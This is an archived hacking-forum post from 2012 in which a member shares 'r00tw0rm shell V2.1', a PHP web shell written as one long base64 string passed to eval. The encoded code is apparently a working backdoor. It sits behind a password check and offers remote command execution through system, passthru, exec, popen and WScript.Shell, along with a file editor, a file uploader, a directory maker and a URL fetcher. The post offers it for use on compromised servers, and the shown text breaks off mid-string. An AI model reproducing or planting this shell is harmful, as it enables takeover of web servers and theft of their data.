Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-25-2013, 09:11 AM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Hacking › Tools v
« Previous 1 ... 5 6 7 8 9 ... 23 Next »

[SHARE] r00tw0rm shell V2.1

Home General Computer Multimedia Business Lounge

Pages (2): 1 2 Next »
Post Reply 
Tweet
Threaded Mode | Linear Mode
[SHARE] r00tw0rm shell V2.1
03-31-2012, 09:08 PM
Post: #1
ubuntux Offline
./Admiral of Devilzc0der
Posts: 1,626
Joined: Dec 2011
Reputation: 75
[SHARE] r00tw0rm shell V2.1
r00tw0rm rilis PHP Shellnya yang baru nih..
kebetulan ane juga member r00tw0rm ngakak

Code:
<?php
eval(base64_decode('JGF1dGggPSAxOw0KDQokbmFtZT0nYjBjYzE3OTgzZDQ2YmY2MTRjNGUzODRhOTJjMGJhMzgnOyAvLyh1c2VyIGxvZ2luKQ0KJHBhc3M9J2IwY2MxNzk4M2Q0NmJmNjE0YzRlMzg0YTkyYzBiYTM4JzsgLy8odXNlciBwYXNzd29yZCkNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq​KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQppZigkYXV0aCA9PSAxKSB7DQppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcGFz​cykNCiAgIHsNCiAgIGhlYWRlcignV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09InIwMHR3MHJtIicpOw0KICAgaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkJyk7DQogICBleGl0KCI8Yj48YSBocmVmPWh0dHA6Ly93d3cucjAwdHcwcm0uY29tPC9hPlIwMFRXMFJNIC0gUHJpdmF0ZSBDb21tdW5pdHk8L2I+Iik7DQogICB9​DQp9DQo/Pg0KDQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+cjAwdHcwcm0gc2hlbGwgVjIuMTwvdGl0bGU+DQo8Ym9keSBiZ2NvbG9yPSJibGFjayI+DQo8dGFibGUgV2lkdGg9JzEwMCUnIGhlaWdodD0nNSUnIGJnY29sb3I9J2JsYWNrJyBib3JkZXI9JzAnPg0KPHRyPg0KPHRkPjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9pbTE0Lmd1bGZ1cC5jb20v​MjAxMi0wMy0yOC8xMzMyOTM3NDU0NTUxLmpwZyIgPC9jZW50ZXI+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHksIHRkIHsNCglmb250LWZhbWlseTogIlRhaG9tYSI7DQoJZm9udC1zaXplOiAiMTJweCI7DQoJbGluZS1oZWlnaHQ6ICIxNTAlIjsNCn0NCi5zbWxmb250IHsNCglmb250LWZhbWls​eTogIlRhaG9tYSI7DQoJZm9udC1zaXplOiAiMTFweCI7DQp9DQouSU5QVVQgew0KCUZPTlQtU0laRTogIjEycHgiOw0KCUNPTE9SOiAiIzAwMDAwMCI7DQoJQkFDS0dST1VORC1DT0xPUjogIiNGRkZGRkYiOw0KCWhlaWdodDogIjE4cHgiOw0KCWJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjYgbm9uZTsNCglwYWRkaW5nLWxlZnQ6ICIycHgiDQp9​DQoucmVkZm9udCB7DQoJQ09MT1I6ICIjQTYwMDAwIjsNCn0NCmE6bGluaywgYTp2aXNpdGVkLCBhOmFjdGl2ZSB7DQoJY29sb3I6ICIjRkYwMDAwIjsNCgl0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsNCn0NCmE6aG92ZXIgew0KCWNvbG9yOiAiI0ZGRkZGRiI7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KLnRvcCB7QkFDS0dST1VO​RC1DT0xPUjogIiNBQTAwMDAifQ0KLmZpcnN0YWx0IHtCQUNLR1JPVU5ELUNPTE9SOiAiIzAwMDAwMCJ9DQouc2Vjb25kYWx0IHtCQUNLR1JPVU5ELUNPTE9SOiAiIzAwMDAwMCJ9DQo8L3N0eWxlPg0KPFNDUklQVCBsYW5ndWFnZT1KYXZhU2NyaXB0Pg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KCWZvciAodmFyIGk9MDtpPGZvcm0uZWxl​bWVudHMubGVuZ3RoO2krKykgew0KCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07DQoJCWlmIChlLm5hbWUgIT0gJ2Noa2FsbCcpDQoJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7DQogICAgfQ0KfQ0KZnVuY3Rpb24gcmVhbGx5KGQsZixtLHQpIHsNCglpZiAoY29uZmlybShtKSkgew0KCQlpZiAodCA9PSAxKSB7DQoJCQl3aW5k​b3cubG9jYXRpb24uaHJlZj0nP2Rpcj0nK2QrJyZkZWxkaXI9JytmOw0KCQl9IGVsc2Ugew0KCQkJd2luZG93LmxvY2F0aW9uLmhyZWY9Jz9kaXI9JytkKycmZGVsZmlsZT0nK2Y7DQoJCX0NCgl9DQp9DQo8L1NDUklQVD4NCjwvaGVhZD4NCg0KPGJvZHk+DQo8Y2VudGVyPg0KDQoNCjx0YWJsZSB3aWR0aD0iNzc1IiBib3JkZXI9IjAiIGNlbGxw​YWRkaW5nPSIwIj4NCjw/UEhQDQoNCg0KDQplcnJvcl9yZXBvcnRpbmcoNyk7DQpvYl9zdGFydCgpOw0KJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07DQokb25vZmYgPSAoZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpID8gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpIDogZ2V0X2Nm​Z192YXIoJ3JlZ2lzdGVyX2dsb2JhbHMnKTsNCmlmICgkb25vZmYgIT0gMSkgew0KCUBleHRyYWN0KCRfUE9TVCwgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkX0dFVCwgRVhUUl9TS0lQKTsNCn0NCiRyMDB0dzBybSA9ICBnZXRjd2QoKTsNCiRzZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQokZGlzX2Z1bmMgPSBnZXRfY2ZnX3ZhcigiZGlz​YWJsZV9mdW5jdGlvbnMiKTsNCg0KDQokbXlzcWxfdXNlID0gIm5vIjsgLy8ieWVzIiAvLw0KJG1ob3N0ID0gImxvY2FsaG9zdCI7IC8vIFNlcnZlciBEYXRhQmFzZQ0KJG11c2VyID0gInVzZXJuYW1lIjsgLy8gVXNlciBOYW1lIERhdGFiYXNlDQokbXBhc3MgPSAidXNlcnBhc3MiOyAvLyBQYXNzd29yZCBEYXRhYmFzZQ0KJG1kYiA9ICJkYXRh​YmFzZS1uYW1lIjsgLy8gRGF0YWJhc2UgTmFtZQ0KDQoNCg0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgICAkX0dFVCA9IHN0cmlwc2xhc2hlc19hcnJheSgkX0dFVCk7DQoJJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7DQp9DQoNCg0KDQppZiAoZW1wdHkoJF9QT1NUWydwaHBpbmZvJ10gKSkgew0KCX1lbHNl​ew0KCWVjaG8gJHBocGluZm89KCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyBwaHBpbmZvKCkgOiAicGhwaW5mbygpIjsNCglleGl0Ow0KfQ0KDQoNCmlmIChpc3NldCgkX1BPU1RbJ3VybCddKSkgew0KCSRwcm94eWNvbnRlbnRzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsndXJsJ10pOw0KCWVjaG8gKCRwcm94eWNvbnRlbnRz​KSA/ICRwcm94eWNvbnRlbnRzIDogIjxib2R5IGJnY29sb3I9XCIjRjVGNUY1XCIgc3R5bGU9XCJmb250LXNpemU6IDEycHg7XCI+PGNlbnRlcj48YnI+PHA+PGI+wrvZjFVSTDwvYj48L3A+PC9jZW50ZXI+PC9ib2R5PiI7DQoJZXhpdDsNCn0NCg0KaWYgIChlbXB0eSgkX1BPU1RbJ3IwMHR3MHJtJ10gKSApIHsNCgl9RUxTRXsNCgkkYWN0aW9uID0g​Jz9hY3Rpb249cjAwdHcwcm0nOw0KCWVjaG8gIjx0YWJsZSBXaWR0aD0nMTAwJScgaGVpZ2h0PScxMCUnIGJnY29sb3I9JyMwMDAwMDAnIGJvcmRlcj0nMSc+PHRyPjx0ZD48Y2VudGVyPjxmb250IHNpemU9JzYnIGNvbG9yPScjQkJCNTE2Jz4NCldXVy5yMDB0dzBybS5jb208YnI+PGJyPg0KUjAwVFcwUk0gLSBQcml2YXRlIENvbW11bml0eTxi​cj48YnI+IjsNCiAgDQoNCiAgICBlY2hvICI8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+ICI7DQoNCglleGl0Ow0KCX0NCmlmICAoZW1wdHkoJF9QT1NUWydjb21tYW5kJ10gKSApIHsNCgl9RUxTRXsNCglpZiAoc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gJ1dJTicpIHsNCgkJJHByb2dyYW0gPSBpc3NldCgkX1BPU1RbJ3Byb2dy​YW0nXSkgPyAkX1BPU1RbJ3Byb2dyYW0nXSA6ICJjOlx3aW5udFxzeXN0ZW0zMlxjbWQuZXhlIjsNCgkJJHByb2cgPSBpc3NldCgkX1BPU1RbJ3Byb2cnXSkgPyAkX1BPU1RbJ3Byb2cnXSA6ICIvYyBuZXQgc3RhcnQgPiAiLiRwYXRobmFtZS4iL2xvZy50eHQiOw0KDQoJCWVjaG8gIjwvZm9ybT5cbiI7DQoJfQ0KJHRiID0gbmV3IEZPUk1TOw0K​DQokdGItPnRhYmxlaGVhZGVyKCk7DQokdGItPnRhYmxlZm9vdGVyKCk7DQokdGItPnRhYmxlaGVhZGVyKCk7DQokdGItPnRkYm9keSgnPHRhYmxlIHdpZHRoPSI5OCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPjxiPmNvbW1hbmQgWyBzeXN0ZW0gLCBzaGVsbF9leGVjICwgcGFzc3RocnUgLCBX​c2NyaXB0LlNoZWxsICwgZXhlYyAsIHBvcGVuIF08L2I+PC90ZD48L3RyPjwvdGFibGU+JywnY2VudGVyJywndG9wJyk7DQokdGItPnRkYm9keSgnPHRhYmxlIHdpZHRoPSI5OCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPicpOw0KDQokZXhlY2Z1bmNzID0gKHN1YnN0cihQSFBfT1MsIDAsIDMp​ID09ICdXSU4nKSA/IGFycmF5KCdzeXN0ZW0nPT4nc3lzdGVtJywncGFzc3RocnUnPT4ncGFzc3RocnUnLCdleGVjJz0+J2V4ZWMnLCdzaGVsbF9leGVjJz0+J3NoZWxsX2V4ZWMnLCdwb3Blbic9Pidwb3BlbicsJ3dzY3JpcHQnPT4nV3NjcmlwdC5TaGVsbCcpIDogYXJyYXkoJ3N5c3RlbSc9PidzeXN0ZW0nLCdwYXNzdGhydSc9PidwYXNzdGhydScsJ2V4ZWMnPT4n​ZXhlYycsJ3NoZWxsX2V4ZWMnPT4nc2hlbGxfZXhlYycsJ3BvcGVuJz0+J3BvcGVuJyk7DQokdGItPmhlYWRlcmZvcm0oYXJyYXkoJ2NvbnRlbnQnPT4nPEZPTlQgQ09MT1I9Z3JlZW4+Y21kOjwvRk9OVD4nLiR0Yi0+bWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY3MsJ3NlbGVjdGVkJz0+JGV4​ZWNmdW5jKSkuJyAnLiR0Yi0+bWFrZWlucHV0KCdjb21tYW5kJykuJyAnLiR0Yi0+bWFrZWlucHV0KCdSdW4nLCdjb21tYW5kJywnJywnc3VibWl0JykpKTsNCg0KCWVjaG8iPHRyIGNsYXNzPSdzZWNvbmRhbHQnPjx0ZCBhbGlnbj0nY2VudGVyJz48dGV4dGFyZWEgbmFtZT0ndGV4dGFyZWEnIGNvbHM9JzEwMCcgcm93cz0nMjUnIHJlYWRvbmx5​PiI7DQoNCiAgICAgICAgaWYgICgkX1BPU1RbJ2NvbW1hbmQnXSApICB7DQoNCgkJaWYgKCRleGVjZnVuYz09InN5c3RlbSIpIHsNCgkJCXN5c3RlbSgkX1BPU1RbJ2NvbW1hbmQnXSk7DQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSJwYXNzdGhydSIpIHsNCgkJCXBhc3N0aHJ1KCRfUE9TVFsnY29tbWFuZCddKTsNCgkJfSBlbHNlaWYgKCRleGVj​ZnVuYz09ImV4ZWMiKSB7DQoJCQkkcmVzdWx0ID0gZXhlYygkX1BPU1RbJ2NvbW1hbmQnXSk7DQoJCQllY2hvICRyZXN1bHQ7DQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSJzaGVsbF9leGVjIikgew0KCQkJJHJlc3VsdD1zaGVsbF9leGVjKCRfUE9TVFsnY29tbWFuZCddKTsNCgkJCWVjaG8gJHJlc3VsdDsNCgkJfSBlbHNlaWYgKCRleGVjZnVu​Yz09InBvcGVuIikgew0KCQkJJHBwID0gcG9wZW4oJF9QT1NUWydjb21tYW5kJ10sICdyJyk7DQoJCQkkcmVhZCA9IGZyZWFkKCRwcCwgMjA5Nik7DQoJCQllY2hvICRyZWFkOw0KCQkJcGNsb3NlKCRwcCk7DQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSJ3c2NyaXB0Iikgew0KCQkJJHdzaCA9IG5ldyBDT00oJ1cnLidTY3InLidpcCcuJ3Quc2hl​Jy4nbGwnKSBvciBkaWUoIlBIUCBDcmVhdGUgQ09NIFdTSFNIRUxMIGZhaWxlZCIpOw0KCQkJJGV4ZWMgPSAkd3NoLT5leGVjICgiY20iLiJkLmUiLiJ4ZSAvYyAiLiRfUE9TVFsnY29tbWFuZCddLiIiKTsNCgkJCSRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7DQoJCQkkc3Ryb3V0cHV0ID0gJHN0ZG91dC0+UmVhZEFsbCgpOw0KCQkJZWNobyAk​c3Ryb3V0cHV0Ow0KCQl9IGVsc2Ugew0KCQkJc3lzdGVtKCRfUE9TVFsnY29tbWFuZCddKTsNCgkJfQ0KDQoJfQ0KDQplY2hvIjwvdGV4dGFyZWE+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPiI7DQoJCWV4aXQ7DQp9Ly9lbmQgc2hlbGwNCg0KaWYgKCRfUE9TVFsnZWRpdGZpbGUnXSl7DQokZnAgPSBmb3BlbigkX1BPU1RbJ2VkaXRmaWxlJ10s​ICJyIik7DQokZmlsZWFyciA9IGZpbGUoJF9QT1NUWydlZGl0ZmlsZSddKTsNCg0KZm9yZWFjaCAoJGZpbGVhcnIgYXMgJHN0cmluZyl7DQoNCiRjb250ZW50ID0gJGNvbnRlbnQgLiAkc3RyaW5nOw0KfQ0KDQplY2hvICI8Y2VudGVyPjxkaXYgaWQ9bG9nb3N0cmlwPkVkaXQgZmlsZTogJGVkaXRmaWxlIDwvZGl2Pjxmb3JtIGFjdGlvbj0nJFJF​UVVFU1RfVVJJJyBtZXRob2Q9J1BPU1QnPjx0ZXh0YXJlYSBuYW1lPWNvbnRlbnQgY29scz0xMjIgcm93cz0yMD4iO2VjaG8gaHRtbGVudGl0aWVzKCRjb250ZW50KTsgZWNobyI8L3RleHRhcmVhPiI7DQplY2hvIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RpcicgdmFsdWU9JyIgLiBnZXRjd2QoKSAuIic+DQo8aW5wdXQgdHlwZT0naGlk​ZGVuJyBuYW1lPSdzYXZlZmlsZScgdmFsdWU9J3skX1BPU1RbJ2VkaXRmaWxlJ119Jz48YnI+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdWJtaXQnIHZhbHVlPSdTYXZlJz48L2Zvcm0+PC9jZW50ZXI+IjsNCg0KZmNsb3NlKCRmcCk7DQp9DQoNCg0KaWYoJF9QT1NUWydzYXZlZmlsZSddKXsNCg0KJGZwID0gZm9wZW4oJF9QT1NUWydz​YXZlZmlsZSddLCAidyIpOw0KJGNvbnRlbnQgPSBzdHJpcHNsYXNoZXMoJGNvbnRlbnQpOw0KZndyaXRlKCRmcCwgJGNvbnRlbnQpOw0KZmNsb3NlKCRmcCk7DQplY2hvICI8Y2VudGVyPjxkaXYgaWQ9bG9nb3N0cmlwPlN1Y2Nlc3NmdWxseSBzYXZlZCE8L2Rpdj48L2NlbnRlcj4iOw0KDQp9DQppZiAoJGRvdXBmaWxlKSB7DQoJZWNobyAoQGNv​cHkoJF9GSUxFU1sndXBsb2FkZmlsZSddWyd0bXBfbmFtZSddLCIiLiR1cGxvYWRkaXIuIi8iLiRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddLiIiKSkgPyAi2KnYr8K0wqvCs9ipwrnCpiEiIDogItip2K/CtMKr2KrCp8Kw2YAhIjsNCn0NCg0KDQplbHNlaWYgKCgkY3JlYXRlZGlyZWN0b3J5KSBBTkQgIWVtcHR5KCRfUE9TVFsnbmV3ZGlyZWN0b3J5J10pKSB7DQoJaWYgKCFlbXB0eSgkbmV3ZGlyZWN0b3J5KSkgew0KCQkkbWtkaXJzPSIkZGlyLyRuZXdkaXJlY3RvcnkiOw0KCQlpZiAoZmlsZV9leGlzdHMoIiRta2RpcnMiKSkgew0KCQkJZWNobyA​iY2FuJ3QgbWFrZSBkaXIiOw0KCQl9IGVsc2Ugew0KCQkJZWNobyAoQG1rZGlyKCIkbWtkaXJzIiwwNzc3KSkgPyAib2siIDogIiI7DQoJCQlAY2htb2QoIiRta2RpcnMiLDA3NzcpOw0KCQl9DQoJfQ0KfQ0KDQovLy8vLy8vLy8NCiRwYXRobmFtZT1zdHJfcmVwbGFjZSgnXFwnLCcvJyxkaXJuYW1lKF9fRklMRV9fKSk7DQoNCi8vLy8vLy8vDQp​pZiAoIWlzc2V0KCRkaXIpIG9yIGVtcHR5KCRkaXIpKSB7DQoJJGRpciA9ICIuIjsNCgkkbm93cGF0aCA9IGdldFBhdGgoJHBhdGhuYW1lLCAkZGlyKTsNCn0gZWxzZSB7DQoJJGRpcj0kX3Bvc3RbJ2RpciddOw0KCSRub3dwYXRoID0gZ2V0UGF0aCgkcGF0aG5hbWUsICRkaXIpOw0KfQ0KDQovLy8vLy8vDQokZGlyX3dyaXRlYWJsZSA9IChkaXJ​fd3JpdGVhYmxlKCRub3dwYXRoKSkgPyAibSIgOiAibW0iOw0KJHBocGluZm89KCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAiIHwgPGEgaHJlZj1cIj9hY3Rpb249cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPlBIUElORk8oKTwvYT4iIDogIiI7DQokcmVnID0gKHN1YnN0cihQSFBfT1MsIDAsIDMpID09ICdXSU4nKSA/ICIgfCA8YSBocmVmPVwiP2FjdGlvbj1yZWdcInIwMHR3MHJtPC9hPiIgOiAiIjsNCg0KJHRiID0gbmV3IEZPUk1TOw0KJHRiLT50YWJsZWhlYWRlcigpOw0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iOTglIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4nKTsNCiR0Yi0+aGVhZGVyZm9ybShh​cnJheSgnY29udGVudCc9Pic8Rk9OVCBDT0xPUj1HcmVlbj5GaWwzIDNkaXQ6PC9GT05UPicuJHRiLT5tYWtlaGlkZGVuKCdkaXInLCAgZ2V0Y3dkKCkgICkuJyAnLiR0Yi0+bWFrZWlucHV0KCdlZGl0ZmlsZScpLicgJy4kdGItPm1ha2VpbnB1dCgnRWRpdCcsJ2VkaXRmaWxlJywnJywnc3VibWl0JykpKTsNCg0KDQokdGItPmhlYWRlcmZvcm0o​YXJyYXkoJ2FjdGlvbic9Pic/ZGlyPScudXJsZW5jb2RlKCRkaXIpLCdlbmN0eXBlJz0+J211bHRpcGFydC9mb3JtLWRhdGEnLCdjb250ZW50Jz0+JzxGT05UIENPTE9SPWdyZWVuPlVwbG91ZCBGaWwzOjwvRk9OVD4nLiR0Yi0+bWFrZWlucHV0KCd1cGxvYWRmaWxlJywnJywnJywnZmlsZScpLicgJy4kdGItPm1ha2VpbnB1dCgnZG91cGZpbGUnLCdVcGxvYWQnLCcnLCdzdWJt​aXQnKS4kdGItPm1ha2VpbnB1dCgndXBsb2FkZGlyJywkZGlyLCcnLCdoaWRkZW4nKSkpOw0KDQokdGItPmhlYWRlcmZvcm0oYXJyYXkoJ2NvbnRlbnQnPT4nPEZPTlQgQ09MT1I9Z3JlZW4+TmV3IERpcjo8L0ZPTlQ+ICcuJHRiLT5tYWtlaW5wdXQoJ25ld2RpcmVjdG9yeScpLicgJy4kdGItPm1ha2VpbnB1dCgnY3JlYXRlZGlyZWN0b3J5Jywn​bmV3ZGlyZWN0b3J5JywnJywnc3VibWl0JykpKTsNCiRleGVjZnVuY3MgPSAoc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gJ1dJTicpID8gYXJyYXkoJ3N5c3RlbSc9PidzeXN0ZW0nLCdwYXNzdGhydSc9PidwYXNzdGhydScsJ2V4ZWMnPT4nZXhlYycsJ3NoZWxsX2V4ZWMnPT4nc2hlbGxfZXhlYycsJ3BvcGVuJz0+J3BvcGVuJywnd3NjcmlwdCc9​PidXc2NyaXB0LlNoZWxsJykgOiBhcnJheSgnc3lzdGVtJz0+J3N5c3RlbScsJ3Bhc3N0aHJ1Jz0+J3Bhc3N0aHJ1JywnZXhlYyc9PidleGVjJywnc2hlbGxfZXhlYyc9PidzaGVsbF9leGVjJywncG9wZW4nPT4ncG9wZW4nKTsNCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnY29udGVudCc9Pic8Rk9OVCBDT0xPUj1ncmVlbj5Db21tYW5kIFByb21w​dDo8L0ZPTlQ+Jy4kdGItPm1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNzLCdzZWxlY3RlZCc9PiRleGVjZnVuYykpLicgJy4kdGItPm1ha2VpbnB1dCgnY29tbWFuZCcpLicgJy4kdGItPm1ha2VpbnB1dCgnUnVuJywnY29tbWFuZCcsJycsJ3N1Ym1pdCcpKSk7DQoNCiR0Yi0+dGRib2R5ICgi​PC90ZD48L3RyPjwvdGFibGU+Iik7DQppZiAoIWlzc2V0KCRfR0VUWydhY3Rpb24nXSkgT1IgZW1wdHkoJF9HRVRbJ2FjdGlvbiddKSBPUiAoJF9HRVRbJ2FjdGlvbiddID09ICJkaXIiKSkgew0KDQoNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoNCiRkaXJzPUBvcGVuZGlyKCRkaXIpOw0KJGRpcl9pID0gJzAnOw0Kd2hpbGUgKCRmaWxlPUByZWFk​ZGlyKCRkaXJzKSkgew0KCSRmaWxlcGF0aD0iJGRpci8kZmlsZSI7DQoJJGE9QGlzX2RpcigkZmlsZXBhdGgpOw0KCWlmKCRhPT0iMSIpew0KCQlpZigkZmlsZSE9Ii4uIiAmJiAkZmlsZSE9Ii4iKQl7DQoJCQkkY3RpbWU9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZWN0aW1lKCRmaWxlcGF0aCkpOw0KCQkJJG10aW1lPUBkYXRlKCJZLW0tZCBI​Omk6cyIsQGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJCSRkaXJwZXJtPXN1YnN0cihiYXNlX2NvbnZlcnQoZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOw0KCQkJZWNobyAiPHRyIGNsYXNzPSIuZ2V0cm93YmcoKS4iPlxuIjsNCgkJCWVjaG8gIiAgPHRkIHN0eWxlPVwicGFkZGluZy1sZWZ0OiA1cHg7XCI+WzxhIGhyZWY9XCI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpLiIvIi51cmxlbmNvZGUoJGZpbGUpLiJcIj48Zm9udCBjb2xvcj1cIiMwMDY2OTlcIj4kZmlsZTwvZm9udD48L2E+XTwvdGQ+XG4iOw0KCQkJJGRpcl9pKys7DQoJCX0gZWxzZSB7DQoJCQlpZigkZmlsZT09Ii4uIikgew0KCQkJCWVjaG8gIjx0ciBjbGFzcz0iLmdldHJvd2JnKCkuIj5cbiI7DQoJCQkJZWNo​byAiPC90cj5cbiI7DQoJCQl9DQoJCX0NCgl9DQp9Ly8gd2hpbGUNCkBjbG9zZWRpcigkZGlycyk7DQoNCmVjaG8iPHRyIGJnY29sb3I9JyNjY2NjY2MnPjx0ZCBjb2xzcGFuPSc2JyBoZWlnaHQ9JzUnPjwvdGQ+PC90cj48Rk9STSAgbWV0aG9kPSdQT1NUJz4iOw0KJGRpcnM9QG9wZW5kaXIoJGRpcik7DQokZmlsZV9pID0gJzAnOw0Kd2hpbGUg​KCRmaWxlPUByZWFkZGlyKCRkaXJzKSkgew0KCSRmaWxlcGF0aD0iJGRpci8kZmlsZSI7DQoJJGE9QGlzX2RpcigkZmlsZXBhdGgpOw0KCWlmKCRhPT0iMCIpew0KCQkkc2l6ZT1AZmlsZXNpemUoJGZpbGVwYXRoKTsNCgkJJHNpemU9JHNpemUvMTAyNCA7DQoJCSRzaXplPSBAbnVtYmVyX2Zvcm1hdCgkc2l6ZSwgMyk7DQoJCWlmIChAZmlsZWN0​aW1lKCRmaWxlcGF0aCkgPT0gQGZpbGVtdGltZSgkZmlsZXBhdGgpKSB7DQoJCQkkY3RpbWU9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZWN0aW1lKCRmaWxlcGF0aCkpOw0KCQkJJG10aW1lPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJfSBlbHNlIHsNCgkJCSRjdGltZT0iPHNwYW4gY2xhc3M9XCJyZWRm​b250XCI+Ii5AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlY3RpbWUoJGZpbGVwYXRoKSkuIjwvc3Bhbj4iOw0KCQkJJG10aW1lPSI8c3BhbiBjbGFzcz1cInJlZGZvbnRcIj4iLkBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkZmlsZXBhdGgpKS4iPC9zcGFuPiI7DQoJCX0NCgkJQCRmaWxlcGVybT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBm​aWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7DQoJCWVjaG8gIjx0ciBjbGFzcz0iLmdldHJvd2JnKCkuIj5cbiI7DQoJCWVjaG8gIiAgPHRkIHN0eWxlPVwicGFkZGluZy1sZWZ0OiA1cHg7XCI+IjsNCgkJZWNobyAiPElOUFVUIHR5cGU9Y2hlY2tib3ggdmFsdWU9MSBuYW1lPWRsWyRmaWxlcGF0aF0+IjsNCgkJZWNobyAiPGEgaHJlZj1c​IiRmaWxlcGF0aFwiIHRhcmdldD1cIl9ibGFua1wiPiRmaWxlPC9hPjwvdGQ+XG4iOw0KICAgICAgICBpZiAgKCRmaWxlID09ICdjb25maWcucGhwJykgew0KDQogICAgICAgIGVjaG8gIjxhIGhyZWY9XCIkZmlsZXBhdGhcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Zm9udCBjb2xvcj0neWVsbG93Jz4kZmlsZTxTVFJPTkc+PC9TVFJPTkc+PC9hPjwv​dGQ+XG4iOw0KICAgICAgICB9DQoNCg0KCQkkZmlsZV9pKys7DQoNCg0KCX0NCn0vLyB3aGlsZQ0KQGNsb3NlZGlyKCRkaXJzKTsNCg0KZWNobyAiPC9GT1JNPlxuIjsNCmVjaG8gIjwvdGFibGU+XG4iOw0KfS8vIGVuZCBkaXINCg0KDQoNCg0KDQoNCg0KCWZ1bmN0aW9uIGRlYnVnaW5mbygpIHsNCgkJZ2xvYmFsICRzdGFydHRpbWU7DQoJCSRt​dGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQoJCSR0b3RhbHRpbWUgPSBudW1iZXJfZm9ybWF0KCgkbXRpbWVbMV0gKyAkbXRpbWVbMF0gLSAkc3RhcnR0aW1lKSwgNik7DQoJCWVjaG8gIlByb2Nlc3NlZCBpbiAkdG90YWx0aW1lIHNlY29uZChzKSI7DQoJfQ0KDQoNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJiRhcnJh​eSkgew0KCQl3aGlsZShsaXN0KCRrZXksJHZhcikgPSBlYWNoKCRhcnJheSkpIHsNCgkJCWlmICgka2V5ICE9ICdhcmdjJyAmJiAka2V5ICE9ICdhcmd2JyAmJiAoc3RydG91cHBlcigka2V5KSAhPSAka2V5IHx8ICcnLmludHZhbCgka2V5KSA9PSAiJGtleSIpKSB7DQoJCQkJaWYgKGlzX3N0cmluZygkdmFyKSkgew0KCQkJCQkkYXJyYXlbJGtl​eV0gPSBzdHJpcHNsYXN